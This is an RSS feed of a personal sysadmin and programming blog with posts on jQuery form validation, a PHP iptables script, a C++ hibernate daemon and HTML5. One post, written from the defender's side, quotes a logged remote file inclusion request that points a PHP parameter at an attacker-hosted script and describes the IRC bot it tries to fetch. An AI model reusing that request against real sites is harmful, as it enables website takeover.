<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>OS Admin Solutions &#187; Programming</title>
	<atom:link href="http://osadmin.com/category/programming/feed/" rel="self" type="application/rss+xml" />
	<link>http://osadmin.com</link>
	<description>Free people, free mind, free software</description>
	<lastBuildDate>Tue, 25 May 2010 19:44:42 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>sudo dd if=genome.helix of=/dev/nucleus0</title>
		<link>http://osadmin.com/2010/05/25/sudo-dd-ifgenome-helix-ofdevnucleus0/</link>
		<comments>http://osadmin.com/2010/05/25/sudo-dd-ifgenome-helix-ofdevnucleus0/#comments</comments>
		<pubDate>Tue, 25 May 2010 19:44:42 +0000</pubDate>
		<dc:creator>mire</dc:creator>
				<category><![CDATA[Events]]></category>
		<category><![CDATA[Freedom]]></category>
		<category><![CDATA[Fun]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Science]]></category>

		<guid isPermaLink="false">http://osadmin.com/?p=737</guid>
		<description><![CDATA[scientists have created artificial life&#8230; can&#8217;t wait the day when I&#8217;ll be able to program DNA]]></description>
			<content:encoded><![CDATA[<p>scientists have created artificial life&#8230;</p>
<p>can&#8217;t wait the day when I&#8217;ll be able to program DNA <img src='http://osadmin.com/mire_blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://osadmin.com/2010/05/25/sudo-dd-ifgenome-helix-ofdevnucleus0/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ajaxify Form Validation</title>
		<link>http://osadmin.com/2009/11/24/ajaxify-form-validation/</link>
		<comments>http://osadmin.com/2009/11/24/ajaxify-form-validation/#comments</comments>
		<pubDate>Tue, 24 Nov 2009 22:20:42 +0000</pubDate>
		<dc:creator>mire</dc:creator>
				<category><![CDATA[Programming]]></category>

		<guid isPermaLink="false">http://osadmin.com/?p=687</guid>
		<description><![CDATA[I&#8217;ve had trouble trying to validate jquery ajaxify forms using validation plugin first I tried hacking onStart event but that would load the hash and fail at validation leaving me with a wrong hash in the URL bar the thing that worked was hacking into the function that binds the event I just asked there [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve had trouble trying to validate jquery ajaxify forms using validation plugin</p>
<p>first I tried hacking onStart event but that would load the hash and fail at validation leaving me with a wrong hash in the URL bar</p>
<p>the thing that worked was hacking into the function that binds the event</p>
<p>I just asked there if the bind was for a form element and if so I called validate function<br />
If it returned false I also returned false and effectively stopped form submission<br />
hashes work fine, forms work fine</p>
<p>anyway, this is the piece of code for anyone interested<br />
<code><br />
if(jQuery(this).is('form')) {<br />
    if (!jQuery(this).valid()) {<br />
        return false;<br />
    }<br />
}<br />
</code></p>
<p>happy hacking <img src='http://osadmin.com/mire_blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://osadmin.com/2009/11/24/ajaxify-form-validation/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>H1N1 Hack</title>
		<link>http://osadmin.com/2009/09/05/h1n1-hack/</link>
		<comments>http://osadmin.com/2009/09/05/h1n1-hack/#comments</comments>
		<pubDate>Sat, 05 Sep 2009 17:07:33 +0000</pubDate>
		<dc:creator>mire</dc:creator>
				<category><![CDATA[Evolution]]></category>
		<category><![CDATA[Fun]]></category>
		<category><![CDATA[Health]]></category>
		<category><![CDATA[Programming]]></category>

		<guid isPermaLink="false">http://osadmin.com/?p=643</guid>
		<description><![CDATA[I just read an interesting blog article about hacking H1N1 I&#8217;m a computer programmer so I actually found it quite interesting since the author made an analogy between computer and human viruses you can learn a lot about flu virus, it&#8217;s program code, how it works and what can be done to make it more [...]]]></description>
			<content:encoded><![CDATA[<p>I just read an interesting blog article about hacking H1N1</p>
<p>I&#8217;m a computer programmer so I actually found it quite interesting since the author made an analogy between computer and human viruses</p>
<p>you can learn a lot about flu virus, it&#8217;s program code, how it works and what can be done to make it more lethal or benign</p>
<p>here&#8217;s the link http://www.bunniestudios.com/blog/?p=353</p>
]]></content:encoded>
			<wfw:commentRss>http://osadmin.com/2009/09/05/h1n1-hack/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Achievo ATK Framework</title>
		<link>http://osadmin.com/2008/11/05/achievo-atk-framework/</link>
		<comments>http://osadmin.com/2008/11/05/achievo-atk-framework/#comments</comments>
		<pubDate>Wed, 05 Nov 2008 00:50:15 +0000</pubDate>
		<dc:creator>mire</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://osadmin.com/?p=291</guid>
		<description><![CDATA[few days ago I was writing this php/ajax application for a client and then I realized I needed a way to manipulate the tables some tables were simple but some had two or three relationships I thought about writing a generic class for the simple tables and doing other tables &#8220;by hand&#8221; then I realized&#8230; [...]]]></description>
			<content:encoded><![CDATA[<p>few days ago I was writing this php/ajax application for a client and then I realized I needed a way to manipulate the tables</p>
<p>some tables were simple but some had two or three relationships</p>
<p>I thought about writing a generic class for the simple tables and doing other tables &#8220;by hand&#8221;</p>
<p>then I realized&#8230; maybe someone else wrote something similar</p>
<p>and I&#8217;ve found just that</p>
<p>Achievo ATK framework makes it really simple to create /admin for your client so he can manipulate his tables by himself</p>
<p>but that simplicity comes only after you&#8217;ve spent some time getting familiar with it</p>
<p>at first, atk coding seemed cryptic but now I&#8217;m into it and it feels natural</p>
<p>atk will make your life easier because once you understand it you can easily manufacture table interfaces</p>
<p>it has support for cascading deletes so you don&#8217;t have to worry about orphaned records</p>
<p>one thing I&#8217;d like to see is full UTF-8 support</p>
<p>it currently uses iso-8859-1 character set by default (english language)</p>
<p>I got it <a href="http://www.atk-framework.com/download/">here</a></p>
]]></content:encoded>
			<wfw:commentRss>http://osadmin.com/2008/11/05/achievo-atk-framework/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Dynamic DNS Iptables Firewall Script</title>
		<link>http://osadmin.com/2008/10/09/dynamic-dns-iptables-firewall-script/</link>
		<comments>http://osadmin.com/2008/10/09/dynamic-dns-iptables-firewall-script/#comments</comments>
		<pubDate>Wed, 08 Oct 2008 23:29:37 +0000</pubDate>
		<dc:creator>mire</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[System Administration]]></category>

		<guid isPermaLink="false">http://osadmin.com/?p=281</guid>
		<description><![CDATA[I&#8217;m using my computer as a development platform and I usually let people in by editing my firewall active table but for those with dynamic ip addresses I had to figure out a different solution so I made a small script in PHP to check for my friends dynamic ip address by looking up his [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;m using my computer as a development platform and I usually let people in by editing my firewall active table</p>
<p>but for those with dynamic ip addresses I had to figure out a different solution</p>
<p>so I made a small script in PHP to check for my friends dynamic ip address by looking up his dyndns.org hostname</p>
<p>it checks IP then goes sleeping for 5 minutes</p>
<p>when it detects an ip change it updates firewall by flushing my firends chain and adding a rule to let him access my webserver</p>
<p>this script works in my firewall iptables setup, it could work on yours but you have to be smart and figure that out for yourself, I&#8217;m not giving any guaranteess for this, use it as GPL V3 code <img src='http://osadmin.com/mire_blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
if you want me to help you set it up, just contact me</p>
<p>here&#8217;s the code:</p>
<pre>
#!/usr/bin/php
&lt;?php
/*
use this code as GPL V3 licence says
Copyright (C) 2008, Miroslav Madzarevic, All Rights Reserved
*/
$old_ip = '';

while (1) {

    sleep (300);

    $host = 'friend.dyndns.org';

    if (!preg_match('/^'.$host.' has address ((?:\d{1,3}\.){3}\d{1,3})$/',
           exec ("/usr/bin/host $host"), $matches)) {
        echo "IP problems\n";
        continue;
    }

    $ip = $matches[1];

    $ip_parts = preg_split ('/\./', $ip, -1, PREG_SPLIT_NO_EMPTY);

    if (count($ip_parts) != 4) {
        echo "wrong ip parts count\n";
        exit;
    }

    $good = array();

    foreach ($ip_parts as $ip_part) {
        $ip_part = (int) $ip_part;
        if ($ip_part &lt; 1 or $ip_part &gt; 254) {
            echo "wrong ip part, $ip_part\n";
            exit;
        }
        $good[] = $ip_part;
    }

    $new_ip = join('.', $good);

    if ($old_ip != $new_ip) {

        `/sbin/iptables -F friend`;

        `/sbin/iptables -A friend -s $new_ip/32 -p tcp -m tcp --dport 80 -j ACCEPT`;

        $old_ip = $new_ip;
    }
}

?&gt;
</pre>
]]></content:encoded>
			<wfw:commentRss>http://osadmin.com/2008/10/09/dynamic-dns-iptables-firewall-script/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Firebug In Firefox 3 Ubuntu</title>
		<link>http://osadmin.com/2008/07/09/firebug-in-firefox-3-ubuntu/</link>
		<comments>http://osadmin.com/2008/07/09/firebug-in-firefox-3-ubuntu/#comments</comments>
		<pubDate>Wed, 09 Jul 2008 10:10:04 +0000</pubDate>
		<dc:creator>mire</dc:creator>
				<category><![CDATA[Freedom]]></category>
		<category><![CDATA[Programming]]></category>

		<guid isPermaLink="false">http://osadmin.com/?p=208</guid>
		<description><![CDATA[with the new Ubuntu came Firefox beta 3, then the Firefox final 3 but Firebug just didn&#8217;t work FYI Firebug is a great web development add on for Firefox now after like a month or two I found a way to make it working just remove the Firebug extension if you have it that does [...]]]></description>
			<content:encoded><![CDATA[<p>with the new Ubuntu came Firefox beta 3, then the Firefox final 3 but Firebug just didn&#8217;t work</p>
<p>FYI Firebug is a great web development add on for Firefox</p>
<p>now after like a month or two <img src='http://osadmin.com/mire_blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  I found a way to make it working</p>
<p>just remove the Firebug extension if you have it that does not work</p>
<p>and then install Firebug from the packages</p>
<p>I used the command line</p>
<blockquote><p>aptitude install firebug</p></blockquote>
<p>have fun <img src='http://osadmin.com/mire_blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://osadmin.com/2008/07/09/firebug-in-firefox-3-ubuntu/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>C++ Hibernate Daemon</title>
		<link>http://osadmin.com/2008/04/30/cpp-hibernate-daemon/</link>
		<comments>http://osadmin.com/2008/04/30/cpp-hibernate-daemon/#comments</comments>
		<pubDate>Wed, 30 Apr 2008 03:06:28 +0000</pubDate>
		<dc:creator>mire</dc:creator>
				<category><![CDATA[Fun]]></category>
		<category><![CDATA[My projects]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[System Administration]]></category>

		<guid isPermaLink="false">http://osadmin.com/?p=163</guid>
		<description><![CDATA[I use Fluxbox window manager on Ubuntu Linux where I don&#8217;t have all the bells and whistles of GNOME or KDE. so I thought I&#8217;d make myself a daemon program that will automatically put my computer to hibernate when my laptop battery is almost empty usually I take care that my battery doesn&#8217;t get to [...]]]></description>
			<content:encoded><![CDATA[<p>I use Fluxbox window manager on Ubuntu Linux where I don&#8217;t have all the bells and whistles of GNOME or KDE.</p>
<p>so I thought I&#8217;d make myself a daemon program that will automatically put my computer to hibernate when my laptop battery is almost empty</p>
<p>usually I take care that my battery doesn&#8217;t get to the red zone but this is for those few cases I forget</p>
<p>I wrote this small programm in C++</p>
<p>why c++</p>
<p>well because I don&#8217;t programm in c++ and I found it interesting to do so <img src='http://osadmin.com/mire_blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>main.cpp looks like this</p>
<p><a href="http://osadmin.com/mire_blog/wp-content/uploads/2008/04/main.jpg"><img class="alignnone size-full wp-image-164" title="main.cpp" src="http://osadmin.com/mire_blog/wp-content/uploads/2008/04/main.jpg" alt="" width="432" height="376" /></a></p>
<p>so, you see the locations of the info and state file for the laptop battery, the percent at which we go to hibernation (I&#8217;ve set it to 12%), and the sleep interval before checking the battery state again (10 seconds)</p>
<p>I use my own hibernate script but you could use something like /usr/sbin/hibernate</p>
<p>you can change all of these</p>
<p>in the main function you can se that:</p>
<ul>
<li>we work only as a root user</li>
<li>we daemonize (detach from the terminal and run in background)</li>
<li>instantiate a worker class object</li>
<li>and do our work <img src='http://osadmin.com/mire_blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </li>
</ul>
<p>and what is our work? check out this picture</p>
<p><a href="http://osadmin.com/mire_blog/wp-content/uploads/2008/04/do_work.jpg"><img class="alignnone size-full wp-image-165" title="do_work function" src="http://osadmin.com/mire_blog/wp-content/uploads/2008/04/do_work.jpg" alt="worker.cpp" width="434" height="578" /></a></p>
<p>well we get the battery total capacity and current capacity and then we calculate the percent</p>
<p>if the percent is less that what I want (12%) then I want my laptop to go to hibernaton</p>
<p>but I also made a security check (that you can remove if you like)</p>
<p>that makes sure my laptop doesn&#8217;t go twice into hibernation in succession</p>
<p>why did I do that?</p>
<p>well because I parse data from some files I have no influence over</p>
<p>and those files can change their format anytime</p>
<p>so this is just a precaution</p>
<p>I have a simple makefile that compiles this code, copies it to /usr/local/bin/medved (medved in my language means a bear and bears hibernate <img src='http://osadmin.com/mire_blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  ) and adds an entry to /etc/rc.local so that it starts next time you reboot your box automatically</p>
<p>you can also start it by hand and see how it works before the reboot</p>
<p>and that&#8217;s it, now I have a daemon that puts my laptop to hibernation before my battery runs dry</p>
<p>I&#8217;ve published the source code under GPL licence version 3</p>
<p>you can get source code <a title="medved source code" href="http://osadmin.com/projects/medved.tar.bz2">here</a></p>
]]></content:encoded>
			<wfw:commentRss>http://osadmin.com/2008/04/30/cpp-hibernate-daemon/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Internet Bad People</title>
		<link>http://osadmin.com/2008/04/15/internet-bad-people/</link>
		<comments>http://osadmin.com/2008/04/15/internet-bad-people/#comments</comments>
		<pubDate>Tue, 15 Apr 2008 01:42:25 +0000</pubDate>
		<dc:creator>mire</dc:creator>
				<category><![CDATA[Freedom]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[System Administration]]></category>

		<guid isPermaLink="false">http://osadmin.com/?p=154</guid>
		<description><![CDATA[there are bad people everywhere and internet is no exception wherever there are people, there are good and bad people lets talk about bad people on the internet misusing osadmin.com what do they do? a couple of things some do referrer poisoning it&#8217;s a technique where they visit your website or just ask for parts [...]]]></description>
			<content:encoded><![CDATA[<p>there are bad people everywhere and internet is no exception</p>
<p>wherever there are people, there are good and bad people</p>
<p>lets talk about bad people on the internet misusing osadmin.com</p>
<p>what do they do?</p>
<p>a couple of things</p>
<p>some do referrer poisoning</p>
<p>it&#8217;s a technique where they visit your website or just ask for parts of it (images etc.) using fake referrers</p>
<p>why do they do it?</p>
<p>well they hope their website (or their website URL) will turn out in your web statistics software and you&#8217;ll click there</p>
<p>they&#8217;re just spammers that want you to go there and read an ad or possibly get infected by a virus or similar</p>
<p>next there are people who steal your content</p>
<p>I said on my website that all of this is copyrighted by me</p>
<p>but they have automatic bots, programs, that search the web for blogs and other stuff and steal content</p>
<p>some of them, the more decent ones, just use like 2 lines or so from my website and link to my website</p>
<p>but some of them use all the text from a blog article without mentioning the source</p>
<p>like this one<br />
<code><br />
Host: 70.94.6.217           /mire_blog/wp-includes/images/smilies/icon_smile.gif<br />
Http Code: 200  Date: Apr 14 22:27:48   Http Version: HTTP/1.1  Size in Bytes: 174<br />
Referer: http://weblog.xanga.com/lyudi/652178887/waiting-the-water.html<br />
Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 1.1.4322)<br />
</code></p>
<p>here you see his ip address, the url he tried to open on my website (the smiley icon), date when he did it and the referrer<br />
when you actually go there you see my content without the link to my website but before that, he grays the screen and asks for your email address so he can spam you a bit more<br />
oh yeah, and that user agent (mozilla etc.) is fake also</p>
<p>and then there are those who try to break my website by using wordpress crack programs<br />
they are called script kiddies because they use cracking programs somebody else wrote<br />
most of them are teenagers that instead of getting high by thinking about chicks get high on breaking and destroying other people&#8217;s websites <img src='http://osadmin.com/mire_blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>now, here&#8217;s an example</p>
<p><code>/category/rss.php?phpraid_dir=http://mcleanmkting.com/catalog/images/default/iyes.txt??<br />
Http Code: 302  Date: Apr 15 01:28:10   Http Version: HTTP/1.1  Size in Bytes: 468<br />
Referer: -<br />
Agent: libwww-perl/5.808<br />
</code></p>
<p>here you see this client asked for my rss and he provided a parameter called phpraid_dir with the url http://mcleanmkting.com/catalog/images/default/iyes.txt??<br />
that means he tried to use that url as an include file in my website script<br />
that is not a text file but a program, a php file that tries to see which of the shell commands work on my system<br />
in also reports which operating system I am using, disk free space etc.</p>
<p>then, it tries to load a perl script from the url http://mcleanmkting.com/catalog/images/default/hai.txt using various download methods because they don&#8217;t know which ones work on my system</p>
<p>this perl script is meant to take over the website and to report to the cracker on IRC so he can use the IRC to control my website <img src='http://osadmin.com/mire_blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>the program accepts instructions from nicks sec or SNapper and it communicates with them via IRC private messaging </p>
<p>it&#8217;s got a watcher for milw0rm rss feed, tcp/udp flooder, portscan, log destroyer, emailer etc.</p>
<p>I&#8217;m a programmer/sysadmin so those tricks will not be so successful on me/my website as they might be on the others because I update my software and track my website activity</p>
<p>I&#8217;ve always been a whitehat, meaning I try to make websites work and I write code to do some work</p>
<p>instead those people are blackhat, crackers trying to destroy your website for their own personal benefit</p>
<p>and they&#8217;re getting worse by the day</p>
<p>I hope this has been informative, check back osadmin.com for more later</p>
]]></content:encoded>
			<wfw:commentRss>http://osadmin.com/2008/04/15/internet-bad-people/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>HTML 5 First Public Working Draft By W3C</title>
		<link>http://osadmin.com/2008/01/23/html-5-first-public-working-draft-by-w3c/</link>
		<comments>http://osadmin.com/2008/01/23/html-5-first-public-working-draft-by-w3c/#comments</comments>
		<pubDate>Tue, 22 Jan 2008 23:41:24 +0000</pubDate>
		<dc:creator>mire</dc:creator>
				<category><![CDATA[Programming]]></category>

		<guid isPermaLink="false">http://osadmin.com/2008/01/23/html-5-first-public-working-draft-by-w3c/</guid>
		<description><![CDATA[Today we got to see the first public working draft of HTML 5 here. The most interesting for me were the differences between HTML 4 and HTML 5 and the improvements. HTML 5 adds support for 2D drawing by using the new canvas element. There are also audio and video elements, new data presentational elements, [...]]]></description>
			<content:encoded><![CDATA[<p>Today we got to see the first public working draft of HTML 5 <a href="http://www.w3.org/TR/2008/WD-html5-20080122/" target="_blank">here</a>.</p>
<p>The most interesting for me were the <a href="http://www.w3.org/TR/2008/WD-html5-diff-20080122/" target="_blank">differences between HTML 4 and HTML 5</a> and the improvements.</p>
<p>HTML 5 adds support for 2D drawing by using the new canvas element. There are also audio and video elements, new data presentational elements, new types for user inputs (like browser based calendars) etc.<br />
Although this is still a draft  it looks promising. Check it out <img src='http://osadmin.com/mire_blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://osadmin.com/2008/01/23/html-5-first-public-working-draft-by-w3c/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>BugLabs Lego Gadgets</title>
		<link>http://osadmin.com/2008/01/10/buglabs-lego-gadgets/</link>
		<comments>http://osadmin.com/2008/01/10/buglabs-lego-gadgets/#comments</comments>
		<pubDate>Thu, 10 Jan 2008 00:41:01 +0000</pubDate>
		<dc:creator>mire</dc:creator>
				<category><![CDATA[Hardware]]></category>
		<category><![CDATA[Programming]]></category>

		<guid isPermaLink="false">http://osadmin.com/2008/01/10/buglabs-lego-gadgets/</guid>
		<description><![CDATA[Well these aren&#8217;t your tipical Lego parts. Here, a part is actually a piece of hardware that you can combine with other pieces to build something. There are parts for a camera, gps and other stuff. And the interesting thing is that all of them communicate via HTTP, which makes it easy to use and [...]]]></description>
			<content:encoded><![CDATA[<p>Well these aren&#8217;t your tipical Lego parts. Here, a part is actually a piece of hardware that you can combine with other pieces to build something.</p>
<p>There are parts for a camera, gps and other stuff. And the interesting thing is that all of them communicate via HTTP, which makes it easy to use and programm.</p>
<p>I&#8217;ll go and read about these a lot more later. Don&#8217;t wait like me, <a href="http://buglabs.net/products" target="_blank">check it out now</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://osadmin.com/2008/01/10/buglabs-lego-gadgets/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
